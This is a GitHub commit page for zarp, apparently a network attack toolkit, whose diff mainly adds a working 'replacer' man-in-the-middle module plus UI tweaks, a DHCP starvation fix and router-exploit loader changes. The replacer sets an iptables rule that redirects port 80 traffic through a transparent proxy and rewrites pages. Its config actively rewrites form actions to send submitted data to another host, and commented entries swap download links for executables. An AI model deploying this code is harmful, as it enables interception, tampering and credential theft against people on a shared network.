Skip to content

Commit

Permalink
Merge branch 'dev'
Browse files Browse the repository at this point in the history
  • Loading branch information
hatRiot committed Jan 12, 2014
2 parents ccf5a89 + 25cc6aa commit 3b997f3
Show file tree
Hide file tree
Showing 30 changed files with 462 additions and 198 deletions.
2 changes: 1 addition & 1 deletion README
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
Zarp v0.1.4
Zarp v0.1.5
See https://defense.ballastsecurity.net/wiki/index.php/Zarp for more information.
32 changes: 32 additions & 0 deletions config/replacements
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
#
# zarp's match and replace config file for the Replacer
# module. Entries should be listed in the following form:
#
# match = match replace
#
# This module supports two different match forms; regex and HTML tags. In
# the first case, anything that re.sub accepts, this will accept. In the
# latter case, tags can be specified in the following:
#
# 2 img src = http://google.com
#
# This will parse each img tag and replace the src with http://google.com. To
# distinguish between the two types, 1 should be prefixed to regex entries, and
# 2 should be prefixed to HTML tags.
#
# Several test entries have been listed here. The regex isnt perfect because regex
# with HTML is a monster.
#

# match img tags and replace the src with rick astley
#1 (?<=<img src=['"]).*(?=['"] ) = http://whitsblog.com/wp-content/uploads/2012/05/Rick-astley-never-gonna-give-you-up.jpg

# match exe, zip, and msi files and replace with a download link to Putty
#1 (?<=href=['"]).*[.exe|.zip](?=['"] ) = http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

# match img src tags and replace with rick astley
2 img src = http://whitsblog.com/wp-content/uploads/2012/05/Rick-astley-never-gonna-give-you-up.jpg

# modify form actions to submit to another server, which can be used to copy out
# form parameters and forward them on
2 form action = http://192.168.1.6/
3 changes: 3 additions & 0 deletions src/core/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -112,6 +112,9 @@ def pptable(rows):
@param rows is a list of lists, first row assumed to be the header
"""

if len(rows) <= 0:
return

# Convert items to strings
new_rows = []
for i in rows:
Expand Down
45 changes: 29 additions & 16 deletions src/core/stream.py
Original file line number Diff line number Diff line change
Expand Up @@ -60,31 +60,41 @@ def initialize(module):
HOUSE[tmp_mod.which][tmp_mod.session_view()] = tmp_mod


def display_options(options, settings):
""" Given a module's options and the column
headers, generate a table, print it, and return
the completed table.
"""
table = []
for (idx, opt) in enumerate(options.keys()):
tmp = []
tmp.append(idx + 1)
tmp.append(options[opt].display)
tmp.append(options[opt].getStr())
tmp.append(options[opt].type)
tmp.append(options[opt].required)
table.append(tmp)

if len(table) > 0:
config.pptable([settings] + table)
else:
Msg('\tModule has no options.')

print color.B_YELLOW + '0' + color.B_GREEN + ') ' + color.B_WHITE + 'Back' + color.END
return table

def handle_opts(module):
""" The user has selected a module, so we should parse out all the
options for this particular module, set the config, and when
requested, run it. This is kinda messy, but works for now.
"""
# fetch generic module options and module-specific options
options = module.config

# dump module settings
Setting = ['', 'Option', 'Value', 'Type', 'Required']
table = display_options(options, Setting)
while True:
# generate list of opts
table = []
for idx, opt in enumerate(options.keys()):
tmp = []
tmp.append(idx+1)
tmp.append(options[opt].display)
tmp.append(options[opt].getStr())
tmp.append(options[opt].type)
tmp.append(options[opt].required)
table.append(tmp)
if len(table) > 0:
config.pptable([Setting] + table)
else:
Msg('\tModule has no options.')
print color.B_YELLOW + '0' + color.B_GREEN + ') ' + color.B_WHITE + 'Back' + color.END

# fetch command/option
try:
choice = raw_input('%s > ' % (color.B_WHITE + module.which + color.END))
Expand All @@ -109,6 +119,9 @@ def handle_opts(module):
print '%s%s%s' % (color.GREEN,
'-' * len(module.info.split('\n')[1].strip()),
color.END)
elif choice == "ops":
display_options(options, Setting)
continue
elif len(choice.split(' ')) > 1:
choice = choice.split(' ')
try:
Expand Down
10 changes: 7 additions & 3 deletions src/core/util.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@

def version():
"""Zarp version"""
return "0.1.4"
return "0.1.5"


def header():
Expand Down Expand Up @@ -280,7 +280,7 @@ def check_opts(choice):
elif 'help' in choice:
help()
choice = -1
elif 'opts' in choice:
elif 'gops' in choice:
config.dump()
choice = -1
elif 'quit' in choice or 'exit' in choice:
Expand Down Expand Up @@ -317,7 +317,7 @@ def help():
"""
print color.B_YELLOW + '\n zarp options:' + color.B_WHITE
print color.B_GREEN + '\thelp\t\t\t' + color.B_WHITE + '- This menu'
print color.B_GREEN + '\topts\t\t\t' + color.B_WHITE + '- Dump zarp current settings'
print color.B_GREEN + '\tgops\t\t\t' + color.B_WHITE + '- Display global options'
print color.B_GREEN + '\texit\t\t\t' + color.B_WHITE + '- Exit immediately'
print color.B_GREEN + '\tbg\t\t\t' + color.B_WHITE + '- Put zarp to background'
print color.B_GREEN + '\tset [' + color.B_YELLOW + 'key' + color.B_GREEN + '] [' + \
Expand All @@ -331,6 +331,7 @@ def help():
color.B_WHITE + '- View options for setting'
print color.B_GREEN + '\trun (r)\t\t\t' + color.B_WHITE + '- Run the selected module'
print color.B_GREEN + '\tinfo \t\t\t' + color.B_WHITE + '- Display module information'
print color.B_GREEN + '\tops \t\t\t' + color.B_WHITE + '- Display module options'
print color.END


Expand Down Expand Up @@ -461,6 +462,9 @@ def eval_type(value, type):
rval = (True, value.split(','))
except:
rval = (False, None)
elif type == 'file':
if does_file_exist(value):
rval = (True, value)
else:
Error('Unrecognized type: %s'%type)
return rval
2 changes: 1 addition & 1 deletion src/modules/attacks/__init__.py
Original file line number Diff line number Diff line change
@@ -1 +1 @@
__all__ = ["beef_hook", "pemod"]
__all__ = ["beef_hook", "pemod", "replacer"]
170 changes: 170 additions & 0 deletions src/modules/attacks/replacer.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,170 @@
from attack import Attack
from libmproxy import controller, proxy, platform
from zoption import Zoption
from threading import Thread
from os import getcwd
from HTMLParser import HTMLParser
import re
import util

class replacer(Attack):
def __init__(self):
super(replacer, self).__init__("Replacer")
self.replace_regex = {} # structure of {'match':'replace'}
self.replace_tags = {}
self.hooker = None
self.proxy_server = None
self.iptable = "iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 5544"
self.config.update({"replace_file":Zoption(type="file",
value = getcwd() + '/config/replacements',
required = True,
display = "File containing replace matches")
})
self.info = """
Replacer is an HTTP find and replace module. All HTTP traffic
accessible by zarp may be modified.
This will load the defined file, parse it, and listen for all traffic
on the local interface. Content-Length header is automatically updated,
and the find/replace matches affect both the body and the headers. Review
the config file at config/replacements for information regarding formatting.
"""

def modip(self, enable=True):
""" Enable or disable the iptable rule
"""
if enable:
util.init_app(self.iptable)
else:
util.init_app(self.iptable.replace('-A', '-D'))

def initialize(self):
self.load_file()
if (len(self.replace_regex) + len(self.replace_tags)) <= 0:
util.Error("No matches loaded.")
return False

self.modip()

self.running = True
config = proxy.ProxyConfig(transparent_proxy = dict(
resolver = platform.resolver(),
sslports = [443])
)

config.skip_cert_cleanup = True
self.proxy_server = proxy.ProxyServer(config, 5544)
self.hooker = Hooker(self.proxy_server, self.replace_regex,
self.replace_tags)

util.Msg("Launching replacer...")
thread = Thread(target=self.hooker.run)
thread.start()

return True

def shutdown(self):
util.Msg("Shutting down replacer...")
self.modip(False)
self.proxy_server.shutdown()
self.hooker.shutdown()

def load_file(self):
""" Load the defined file and attempt to build the struct
"""
with open(self.config['replace_file'].value, 'r') as f:
lines = f.readlines()
for line in lines:
if (len(line) > 0 and line[0] == '#') or len(line) <= 2:
continue

cut = line.split(" = ")
if len(cut) < 2 or len(cut) > 2:
util.Error("Incorrect formatting for line '%s'" % cut)
else:
try:
if cut[0][0] == '1':
# this is a regex entry, parse and try to compile it
tmp = re.compile(cut[0][2:])
self.replace_regex[cut[0][2:]] = cut[1].rstrip('\n')
elif cut[0][0] == '2':
#
# this is a tag, split it out and build a dictionary.
# The dictionary is essentially:
# {'outer' : {'attribute' : 'replacement'}}
# Each outer tag may have multiple attributes for
# replacement.
#
tags = cut[0][2:].split(' ')

if tags[0] in self.replace_tags:
self.replace_tags[tags[0]][tags[1]] = cut[1].rstrip('\n')
else:
self.replace_tags[tags[0]] = {}
self.replace_tags[tags[0]][tags[1]] = cut[1].rstrip('\n')
except:
util.Error("Incorrect regex: '%s'" % cut[0][2:])
util.Msg("Loaded %s matches" % (len(self.replace_regex) + len(self.replace_tags)))
return True

def session_view(self):
""" Return the number of loaded matches
"""
return "%d regex values loaded." % (len(self.replace_regex) + len(self.replace_tags))

class HTMLHooker(HTMLParser):
""" Parsing and modifying HTML is much easier with the HTMLParser.
This handles parsing tags.
"""
def __init__(self, match):
HTMLParser.__init__(self)
self.match = match
self.data = {}

def handle_starttag(self, tag, attrs):
for key in self.match.keys():
if key == tag:
for itag in self.match[key].keys():
# iterate through attribute tags to see if any match
for tag_atts in attrs:
if tag_atts[0] == itag:
if itag not in self.data.keys():
self.data[itag] = []
if tag_atts[1] not in self.data[itag]:
self.data[itag].append(tag_atts[1])
break

class Hooker(controller.Master):
""" Listens for and parses HTTP traffic
"""
def __init__(self, server, rep_regex, rep_tags):
controller.Master.__init__(self, server)
self.rep_regex = rep_regex
self.rep_tags = rep_tags

def run(self):
try:
return controller.Master.run(self)
except:
self.shutdown()

def handle_response(self, msg):
""" Iterate through the response and replace values
"""
for match in self.rep_regex:
msg.replace(match, self.rep_regex[match])

# modify the DOM
try:
for tag in self.rep_tags.keys():
tmp = {}
tmp[tag] = self.rep_tags[tag]
parser = HTMLHooker(tmp)
parser.feed(msg.get_decoded_content())
for entry in parser.data.keys():
for data_entry in parser.data[entry]:
rep_entry = self.rep_tags[tag][entry]
msg.replace(data_entry, rep_entry)
except Exception, e:
util.debug(e)
msg.reply()
3 changes: 2 additions & 1 deletion src/modules/dos/dhcp_starvation.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
from scapy.all import *
from time import sleep
from util import Msg
from dos import DoS
from threading import Thread
Expand Down Expand Up @@ -45,4 +46,4 @@ def starve(self):
pkt /= BOOTP(chaddr=RandString(12, '0123456789abcdef'))
pkt /= DHCP(options=[("message-type", 'discover'), 'end'])
sendp(pkt)
sleep(self.config['interval'].value)
sleep(self.config['interval'].value)
16 changes: 7 additions & 9 deletions src/modules/parameter/router_pwn.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
import importlib
import routers
import util
import stream
from parameter import Parameter


Expand All @@ -21,9 +22,10 @@ def load(self):
% router)
self.routers[router] = []
for vuln in mod.__all__:
v = getattr(importlib.import_module('modules.parameter.routers.'
'%s.%s' % (router, vuln), 'routers'), vuln)
self.routers[router].append(v)
path = "modules.parameter.routers.%s.%s" % (router, vuln)
if util.check_dependency(path):
mod = getattr(importlib.import_module(path, 'routers'), vuln)
self.routers[router].append(mod)

def initialize(self):
""" Load router exploits; store {router:[vuln]}
Expand All @@ -39,14 +41,10 @@ def initialize(self):
else:
router = self.routers[self.routers.keys()[choice - 1]]
while True:
# print router modules
choice = util.print_menu(['%s - %s' %
(x().router, x().vuln) for x in router])
choice = util.print_menu([x().which for x in router])
if choice is 0:
break
elif choice is -1 or choice > len(router):
pass
else:
tmp = router[choice - 1]()
if tmp.fetch_ip():
tmp.run()
stream.initialize(router[choice - 1])
Loading

0 comments on commit 3b997f3

Please sign in to comment.